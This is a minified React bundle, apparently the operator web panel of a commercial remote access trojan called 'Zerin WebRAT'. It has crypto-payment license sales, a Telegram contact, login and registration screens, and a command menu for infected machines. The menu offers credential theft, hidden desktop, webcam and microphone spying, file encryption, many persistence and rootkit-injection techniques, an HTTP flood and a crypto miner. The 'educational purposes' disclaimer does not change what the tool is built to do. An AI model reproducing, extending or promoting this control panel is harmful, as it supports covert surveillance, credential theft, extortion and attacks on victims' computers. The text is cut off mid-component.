-translate-x-full group-hover/btn:translate-x-full transition-transform duration-700"})]})})]})]})]}),s.jsxs("div",{className:"mt-8 text-center space-y-3",children:[s.jsxs("div",{className:"flex items-center justify-center gap-4",children:[s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40 uppercase tracking-wider",children:"Accepted:"}),["BTC","ETH","LTC","XMR","USDT"].map(u=>s.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-text-muted/60 border border-[#1a1a22] px-1.5 py-0.5 hover:border-zerin-accent/20 hover:text-zerin-text-muted transition-colors duration-300",children:u},u))]}),s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/30 tracking-wider block",children:"Secure payment — License key delivered instantly after confirmation"})]})]})}),s.jsxs("section",{className:"relative z-10 py-32 px-6 text-center",children:[s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-5xl tracking-tight mb-4",children:["Ready to"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),s.jsx("p",{className:"text-zerin-text-muted text-[15px] mb-10 max-w-md mx-auto",children:"Join the red team operators who trust Zerin for advanced adversary simulation and penetration testing."}),s.jsxs(dt,{to:"/register",className:"group relative inline-block overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-10 py-3.5 transition-all duration-300 hover:shadow-[0_0_40px_rgba(6,182,212,0.25)]",children:[s.jsx("span",{className:"relative z-10",children:"Get Started"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]})]}),s.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[s.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),s.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),s.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function hj(){const e=p.useRef(null);return p.useEffect(()=>{const t=e.current;if(!t)return;const n=t.getContext("2d");let r,i=0;function a(){t.width=window.innerWidth,t.height=window.innerHeight}a(),window.addEventListener("resize",a);function o(){i+=.002,n.clearRect(0,0,t.width,t.height);const l=50,c=Math.ceil(t.width/l)+1,u=Math.ceil(t.height/l)+1;for(let d=0;d<u;d++)for(let f=0;f<c;f++){const m=f*l,h=d*l,x=Math.sqrt((m-t.width/2)**2+(h-t.height/2)**2),y=(Math.sin(x*.006-i)*.5+.5)*.055;n.beginPath(),n.arc(m,h,1,0,Math.PI*2),n.fillStyle=`rgba(6, 182, 212, ${y})`,n.fill()}for(let d=0;d<t.height;d+=4)n.fillStyle="rgba(0,0,0,0.08)",n.fillRect(0,d,t.width,1);r=requestAnimationFrame(o)}return r=requestAnimationFrame(o),()=>{cancelAnimationFrame(r),window.removeEventListener("resize",a)}},[]),s.jsxs(s.Fragment,{children:[s.jsx("canvas",{ref:e,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}}),s.jsx("div",{className:"fixed inset-0 pointer-events-none",style:{zIndex:1,background:"radial-gradient(ellipse at center, transparent 30%, rgba(4,4,10,0.7) 100%)"}})]})}const Kg="zerin.pro",xj="zerpanel-67ontoplol.top";function yx(){return window.location.hostname===Kg||window.location.hostname===`www.${Kg}`}function UA(){const e=ur(),[t,n]=p.useState(""),[r,i]=p.useState(""),[a,o]=p.useState(""),[l,c]=p.useState(!1);async function u(d){d.preventDefault(),o(""),c(!0);try{if(await AE({username:t,password:r}),yx()){const f=rt();if(f){window.location.href=`https://${xj}/auth#token=${encodeURIComponent(f)}`;return}}e("/dashboard")}catch(f){f instanceof di?o(f.status===401?f.message||"Invalid credentials":`Server error: ${f.message}`):o("Connection failed. Is the server running?")}finally{c(!1)}}return s.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[s.jsx(hj,{}),s.jsxs("div",{className:"relative w-full max-w-sm",style:{zIndex:2},children:[s.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[s.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[s.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),s.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),s.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Command & Control"})]}),s.jsxs("div",{className:"auth-card auth-stagger-2",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"auth-scanline"}),s.jsxs("form",{onSubmit:u,className:"relative space-y-5",children:[a&&s.jsxs("div",{className:"auth-error",children:[s.jsx("div",{className:"auth-error-bar"}),s.jsx("span",{children:a})]}),s.jsxs("div",{className:"auth-stagger-3",children:[s.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"username",type:"text",value:t,onChange:d=>n(d.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Enter username"})})]}),s.jsxs("div",{className:"auth-stagger-4",children:[s.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"password",type:"password",value:r,onChange:d=>i(d.target.value),required:!0,autoComplete:"current-password",className:"auth-input",placeholder:"Enter password"})})]}),s.jsx("div",{className:"auth-stagger-5 pt-1",children:s.jsx("button",{type:"submit",disabled:l,className:"auth-submit",children:s.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[l&&s.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),l?"Authenticating...":"Sign In"]})})})]})]}),s.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-6",children:[s.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Don't have an account?"," ",s.jsx(dt,{to:"/register",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Register"})]}),s.jsxs("div",{className:"flex items-center justify-center gap-2",children:[s.jsx("span",{className:"auth-status-dot"}),s.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function VA(){const e=ur(),[t,n]=p.useState(""),[r,i]=p.useState(""),[a,o]=p.useState(""),[l,c]=p.useState(""),[u,d]=p.useState(""),[f,m]=p.useState(!1);async function h(x){if(x.preventDefault(),d(""),!/^[a-zA-Z0-9]{3,32}$/.test(t)){d("Username must be 3-32 characters, alphanumeric only");return}if(r!==a){d("Passwords do not match");return}if(r.length<12){d("Password must be at least 12 characters");return}m(!0);try{if(await _E({username:t,password:r,license_key:l}),yx()){const g=rt();if(g){window.location.href=`https://${xj}/auth#token=${encodeURIComponent(g)}`;return}}e("/dashboard")}catch(g){if(g instanceof di)try{const y=JSON.parse(g.message);d(y.error||g.message)}catch{d(g.message)}else d("Connection failed. Is the server running?")}finally{m(!1)}}return s.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[s.jsx(hj,{}),s.jsxs("div",{className:"relative w-full max-w-sm",style:{zIndex:2},children:[s.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[s.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[s.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),s.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),s.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Create Account"})]}),s.jsxs("div",{className:"auth-card auth-stagger-2",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"auth-scanline"}),s.jsxs("form",{onSubmit:h,className:"relative space-y-5",children:[u&&s.jsxs("div",{className:"auth-error",children:[s.jsx("div",{className:"auth-error-bar"}),s.jsx("span",{children:u})]}),s.jsxs("div",{className:"auth-stagger-3",children:[s.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"username",type:"text",value:t,onChange:x=>n(x.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Choose a username"})})]}),s.jsxs("div",{className:"auth-stagger-4",children:[s.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"password",type:"password",value:r,onChange:x=>i(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Min 12 characters"})})]}),s.jsxs("div",{className:"auth-stagger-5",children:[s.jsx("label",{htmlFor:"confirmPassword",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Confirm Password"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"confirmPassword",type:"password",value:a,onChange:x=>o(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Repeat password"})})]}),s.jsxs("div",{className:"auth-stagger-6",children:[s.jsx("label",{htmlFor:"licenseKey",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"License Key"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"licenseKey",type:"text",value:l,onChange:x=>{const g=x.target.value;g.toLowerCase().startsWith("zer-")?c("zer-"+g.slice(4).toUpperCase()):c(g.toUpperCase())},required:!0,autoComplete:"off",spellCheck:!1,className:"auth-input font-mono",placeholder:"zer-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX"})})]}),s.jsx("div",{className:"auth-stagger-7 pt-1",children:s.jsx("button",{type:"submit",disabled:f,className:"auth-submit",children:s.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[f&&s.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),f?"Creating Account...":"Register"]})})})]})]}),s.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-8",children:[s.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Already have an account?"," ",s.jsx(dt,{to:"/login",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Sign In"})]}),s.jsxs("div",{className:"flex items-center justify-center gap-2",children:[s.jsx("span",{className:"auth-status-dot"}),s.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function Vc(e){const t=Date.now(),n=new Date(e).getTime(),r=t-n;if(r<0)return"just now";const i=Math.floor(r/1e3),a=Math.floor(i/60),o=Math.floor(a/60),l=Math.floor(o/24);return i<5?"just now":i<60?`${i}s ago`:a<60?`${a}m ago`:o<24?`${o}h ago`:l<30?`${l}d ago`:new Date(e).toLocaleDateString()}function km(e,t=1){if(e<=0)return"0 B";const n=1024,r=["B","KB","MB","GB","TB"],i=Math.floor(Math.log(e)/Math.log(n));return`${parseFloat((e/Math.pow(n,i)).toFixed(t))} ${r[i]}`}function HA(e){return new Date(e).toLocaleString("en-US",{month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function No(e){return new Date(e).toLocaleString("en-US",{year:"numeric",month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function So(e){const t=e.toLowerCase();return t.includes("windows")?"Windows":t.includes("linux")?"Linux":t.includes("darwin")||t.includes("macos")?"macOS":e}function Hs(e){return e.slice(0,8)}function vj(e,t){if(e<60)return`${e}s / ${t}%`;const n=Math.floor(e/60),r=e%60;return r===0?`${n}m / ${t}%`:`${n}m ${r}s / ${t}%`}function KA(e){return`data:image/bmp;base64,${e}`}function qA(e){return e.startsWith("Qk")}const _n="w-3.5 h-3.5 flex-shrink-0",Jt={eye:s.jsxs("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z"})]}),info:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),terminal:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 9l3 3-3 3m5 0h3M5 20h14a2 2 0 002-2V6a2 2 0 00-2-2H5a2 2 0 00-2 2v12a2 2 0 002 2z"})}),folder:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 7v10a2 2 0 002 2h14a2 2 0 002-2V9a2 2 0 00-2-2h-6l-2-2H5a2 2 0 00-2 2z"})}),pin:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 5a2 2 0 012-2h10a2 2 0 012 2v16l-7-3.5L5 21V5z"})}),key:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 7a2 2 0 012 2m4 0a6 6 0 01-7.743 5.743L11 17H9v2H7v2H4a1 1 0 01-1-1v-2.586a1 1 0 01.293-.707l5.964-5.964A6 6 0 1121 9z"})}),shield:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})}),sparkles:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3v4M3 5h4M6 17v4m-2-2h4m5-16l2.286 6.857L21 12l-5.714 2.143L13 21l-2.286-6.857L5 12l5.714-2.143L13 3z"})}),bolt:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),power:s.jsx("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M18.364 5.636a9 9 0 010 12.728M5.636 5.636a9 9 0 000 12.728M12 2v4"})}),cog:s.jsxs("svg",{className:_n,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10.325 4.317c.426-1.756 2.924-1.756 3.35 0a1.724 1.724 0 002.573 1.066c1.543-.94 3.31.826 2.37 2.37a1.724 1.724 0 001.066 2.573c1.756.426 1.756 2.924 0 3.35a1.724 1.724 0 00-1.066 2.573c.94 1.543-.826 3.31-2.37 2.37a1.724 1.724 0 00-2.573 1.066c-.426 1.756-2.924 1.756-3.35 0a1.724 1.724 0 00-2.573-1.066c-1.543.94-3.31-.826-2.37-2.37a1.724 1.724 0 00-1.066-2.573c-1.756-.426-1.756-2.924 0-3.35a1.724 1.724 0 001.066-2.573c-.94-1.543.826-3.31 2.37-2.37.996.608 2.296.07 2.572-1.065z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]}),externalLink:s.jsx("svg",{className:"w-3 h-3 flex-shrink-0 opacity-40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10 6H6a2 2 0 00-2 2v10a2 2 0 002 2h10a2 2 0 002-2v-4M14 4h6m0 0v6m0-6L10 14"})}),search:s.jsx("svg",{className:"w-3.5 h-3.5 text-[#3a3a44]",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})})},YA=new Set(["vnc","hvnc","webcam","mic","socks5","chat"]),GA=new Set(["remove","exit","uninstall","shutdown"]),XA=new Set(["ban"]),Yf=[{label:"Monitoring",icon:Jt.eye,group:1,commands:[{key:"ps",label:"Process List",nav:{tab:"processes"}},{key:"windows",label:"Window List",nav:{tab:"windows"}},{key:"screenshot",label:"Screenshot",nav:{tab:"screenshots",action:"screenshot"}},{key:"vnc",label:"Remote Desktop",nav:{action:"vnc"}},{key:"hvnc",label:"Hidden Desktop",nav:{action:"hvnc"}},{key:"webcam",label:"Webcam",nav:{action:"webcam"}},{key:"mic",label:"Microphone",nav:{action:"mic"}},{key:"socks5",label:"Reverse Proxy",nav:{action:"socks5"}},{key:"netstat",label:"Network Connections",nav:{tab:"overview",action:"submit"}},{key:"ifconfig",label:"Network Interfaces",nav:{tab:"overview",action:"submit"}}]},{label:"Information",icon:Jt.info,group:1,commands:[{key:"whoami",label:"Whoami",nav:{tab:"overview",action:"submit"}},{key:"sysinfo",label:"System Info",nav:{tab:"overview",action:"submit"}},{key:"specs",label:"System Specs",nav:{tab:"system"}},{key:"installed_apps",label:"Installed Apps",nav:{tab:"apps"}},{key:"env",label:"Environment Variables",nav:{tab:"overview",action:"submit"}},{key:"creds",label:"Grab Credentials",nav:{tab:"credentials",action:"submit"}}]},{label:"Execution",icon:Jt.terminal,group:2,commands:[{key:"shell",label:"Command Shell",nav:{tab:"overview"}},{key:"powershell",label:"PowerShell",nav:{tab:"overview"}},{key:"execute",label:"Execute File",nav:{action:"execute_upload"}}]},{label:"File Manager",icon:Jt.folder,group:2,commands:[{key:"ls",label:"Browse Files",nav:{tab:"files"}},{key:"upload",label:"Upload File",nav:{tab:"files"}},{key:"download",label:"Download File",nav:{tab:"files"}},{key:"encrypt",label:"Encrypt File",nav:{tab:"overview",action:"submit"}},{key:"decrypt",label:"Decrypt File",nav:{tab:"overview",action:"submit"}}]},{label:"Persistence",icon:Jt.pin,group:3,commands:[{key:"persist_runkey",label:"Run Key",nav:{tab:"overview",action:"submit"}},{key:"persist_schtask",label:"Scheduled Task",nav:{tab:"overview",action:"submit"}},{key:"persist_service",label:"Service",nav:{tab:"overview",action:"submit"}},{key:"persist_startup",label:"Startup Folder",nav:{tab:"overview",action:"submit"}},{key:"persist_logonscript",label:"Logon Script",nav:{tab:"overview",action:"submit"}},{key:"persist_screensaver",label:"Screensaver",nav:{tab:"overview",action:"submit"}},{key:"persist_ifeo",label:"IFEO Debugger",nav:{tab:"overview",action:"submit"}},{key:"persist_bits",label:"BITS Job",nav:{tab:"overview",action:"submit"}},{key:"persist_com",label:"COM Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_dllhijack",label:"DLL Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_wmi",label:"WMI Event Sub",nav:{tab:"overview",action:"submit"}},{key:"persist_portmon",label:"Port Monitor",nav:{tab:"overview",action:"submit"}},{key:"persist_ssp",label:"SSP (LSA)",nav:{tab:"overview",action:"submit"}}]},{label:"Registry",icon:Jt.key,group:3,commands:[{key:"reg_read",label:"Read Key",nav:{tab:"overview",action:"submit"}},{key:"reg_write",label:"Write Key",nav:{tab:"overview",action:"submit"}}]},{label:"Rootkit",icon:Jt.shield,group:3,commands:[{key:"rootkit_status",label:"Rootkit Status",nav:{tab:"overview",action:"submit"}},{key:"rootkit_inject",label:"Inject into PID",nav:{tab:"overview",action:"submit"}}]},{label:"Extra",icon:Jt.sparkles,group:4,commands:[{key:"troll_panel",label:"Troll Panel",nav:{tab:"troll"}},{key:"troll_msgbox",label:"Message Box",nav:{tab:"troll"}},{key:"troll_tts",label:"Text to Speech",nav:{tab:"troll"}},{key:"troll_website",label:"Open Website",nav:{tab:"troll"}},{key:"troll_wallpaper",label:"Change Wallpaper",nav:{tab:"troll"}},{key:"troll_taskbar",label:"Toggle Taskbar",nav:{tab:"troll"}},{key:"troll_cd_tray",label:"Open CD Tray",nav:{tab:"troll"}},{key:"chat",label:"Live Chat",nav:{action:"chat"}}]},{label:"Network Attack",icon:Jt.bolt,group:4,commands:[{key:"ddos_start",label:"HTTP Flood",nav:{tab:"ddos"}},{key:"miner_start",label:"Crypto Miner",nav:{tab:"miner"}}]},{label:"PC Options",icon:Jt.power,group:5,commands:[{key:"restart",label:"Restart PC",nav:{action:"confirm"}},{key:"shutdown",label:"Shutdown PC",nav:{action:"confirm"}}]},{label:"Bot Options",icon:Jt.cog,group:5,commands:[{key:"sleep",label:"Change Sleep",nav:{tab:"overview"}},{key:"exit",label:"Exit Agent",nav:{action:"confirm"}},{key:"uninstall",label:"Uninstall Agent",nav:{action:"confirm"}},{key:"ban",label:"Ban Agent",nav:{action:"ban"}},{key:"remove",label:"Remove from List",nav:{action:"remove"}}]}],ZA={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},QA={alive:"ONLINE",stale:"STALE",dead:"OFFLINE"},JA={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zerin-danger"},e_=({x:e,y:t,visible:n,onAction:r,onClose:i,agentStatus:a="alive",agentName:o})=>{const l=p.useRef(null),c=p.useRef(null),u=p.useRef(null),[d,f]=p.useState(null),[m,h]=p.useState({x:e,y:t}),[x,g]=p.useState(""),[y,v]=p.useState(-1),[b,w]=p.useState(-1),[j,k]=p.useState(!1),S=p.useRef(null),N=a==="dead",z=x.trim()?Yf.map(D=>({...D,commands:D.commands.filter(M=>M.label.toLowerCase().includes(x.toLowerCase())||M.key.toLowerCase().includes(x.toLowerCase()))})).filter(D=>D.commands.length>0||D.label.toLowerCase().includes(x.toLowerCase())).map(D=>({...D,commands:D.commands.length>0?D.commands:Yf.find(M=>M.label===D.label).commands})):Yf;p.useEffect(()=>{if(n&&l.current){const D=l.current.getBoundingClientRect(),M=window.innerWidth,F=window.innerHeight;let R=e,W=t;e+D.width>M&&(R=M-D.width-8),t+D.height>F&&(W=F-D.height-8),h({x:Math.max(4,R),y:Math.max(4,W)})}else h({x:e,y:t})},[e,t,n]),p.useEffect(()=>{n||(f(null),g(""),v(-1),w(-1),k(!1))},[n]),p.useEffect(()=>{n&&requestAnimationFrame(()=>{var D;(D=c.current)==null||D.focus()})},[n]),p.useEffect(()=>{if(!n)return;const D=M=>{l.current&&!l.current.contains(M.target)&&i()};return document.addEventListener("mousedown",D),()=>{document.removeEventListener("mousedown",D)}},[n,i]),p.useEffect(()=>()=>{S.current&&clearTimeout(S.current)},[]);const _=p.useCallback(()=>{if(!u.current)return;const D=u.current;D.style.top="0px";const M=D.getBoundingClientRect(),F=window.innerHeight;if(M.bottom>F-8){const R=M.bottom-F+8;D.style.top=`${-R}px`}},[]);if(p.useEffect(()=>{d&&requestAnimationFrame(_)},[d,_]),p.useEffect(()=>{if(!n)return;const D=M=>{var R;const F=z;if(F.length!==0)switch(M.key){case"ArrowDown":{if(M.preventDefault(),j){const W=F.find($=>$.label===d);W&&w($=>$<W.commands.length-1?$+1:0)}else v(W=>{const $=W<F.length-1?W+1:0;return f(F[$].label),$});break}case"ArrowUp":{if(M.preventDefault(),j){const W=F.find($=>$.label===d);W&&w($=>$>0?$-1:W.commands.length-1)}else v(W=>{const $=W>0?W-1:F.length-1;return f(F[$].label),$});break}case"ArrowRight":case"Enter":{if(j&&M.key==="Enter"){M.preventDefault();const W=F.find($=>$.label===d);W&&b>=0&&b<W.commands.length&&P(W.commands[b])}else!j&&d&&(M.preventDefault(),k(!0),w(0));break}case"ArrowLeft":{j&&(M.preventDefault(),k(!1),w(-1));break}case"Escape":{M.preventDefault(),j?(k(!1),w(-1)):i();break}default:{M.key.length===1&&!M.ctrlKey&&!M.metaKey&&!M.altKey&&((R=c.current)==null||R.focus());break}}};return document.addEventListener("keydown",D),()=>document.removeEventListener("keydown",D)},[n,z,d,j,y,b,i]),!n)return null;const A=(D,M)=>{S.current&&clearTimeout(S.current),S.current=setTimeout(()=>{f(D),v(M),k(!1),w(-1)},60)},O=()=>{S.current&&clearTimeout(S.current)},P=D=>{N&&D.nav.action!=="remove"&&D.nav.action!=="ban"||r(D.key,D.nav)},I=m.x+200+220>window.innerWidth,U=D=>D===0?!1:z[D].group!==z[D-1].group;return s.jsx("div",{ref:l,className:"fixed z-[9999]",style:{left:m.x,top:m.y},onMouseLeave:()=>{f(null),v(-1),k(!1),w(-1)},children:s.jsxs("div",{className:"min-w-[200px] border border-[#1a1a20] bg-[#0d0d11] shadow-2xl shadow-black/60 animate-scale-in",style:{backdropFilter:"blur(12px)"},children:[s.jsxs("div",{className:"flex items-center gap-2.5 border-b border-[#1a1a20] px-3 py-2.5",children:[s.jsxs("span",{className:"relative inline-flex",children:[a==="alive"&&s.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),s.jsx("span",{className:`relative inline-block h-2 w-2 rounded-full ${ZA[a]}`})]}),s.jsxs("div",{className:"flex flex-col min-w-0",children:[s.jsx("span",{className:"text-[12px] font-medium text-zerin-text truncate max-w-[160px]",children:o||"Unknown"}),s.jsx("span",{className:`font-mono text-[10px] ${JA[a]}`,children:QA[a]})]})]}),s.jsx("div",{className:"px-2 pt-2 pb-1",children:s.jsxs("div",{className:"flex items-center gap-2 bg-[#09090b] border border-[#1a1a20] px-2 py-1.5",children:[Jt.search,s.jsx("input",{ref:c,type:"text",value:x,onChange:D=>{g(D.target.value),v(-1),f(null),k(!1),w(-1)},placeholder:"Search commands...",className:"flex-1 bg-transparent text-[12px] text-zerin-text placeholder-[#3a3a44] outline-none"}),x&&s.jsx("button",{onClick:()=>{var D;g(""),(D=c.current)==null||D.focus()},className:"text-[#3a3a44] hover:text-zerin-text-dim 